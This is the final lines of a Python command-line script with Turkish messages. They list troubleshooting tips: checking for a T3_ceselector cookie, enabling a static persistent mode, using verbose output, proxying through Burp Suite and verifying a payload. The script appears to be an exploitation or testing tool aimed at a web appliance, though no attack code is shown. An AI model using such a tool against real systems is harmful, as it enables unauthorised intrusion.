        out(C.dim("  2. T3_ceselector_* cookie Set-Cookie'de görünmeli"))
        out(C.dim("  3. Persistent Mode: Static yapılandırma aktif olmalı"))
        out(C.dim("  4. -v verbose ile detay görün"))
        out(C.dim("  5. --proxy ile Burp Suite üzerinden izleyin"))
        out(C.dim("  6. --verify-payload ile payload kontrolü yapın"))


if __name__ == "__main__":
    main()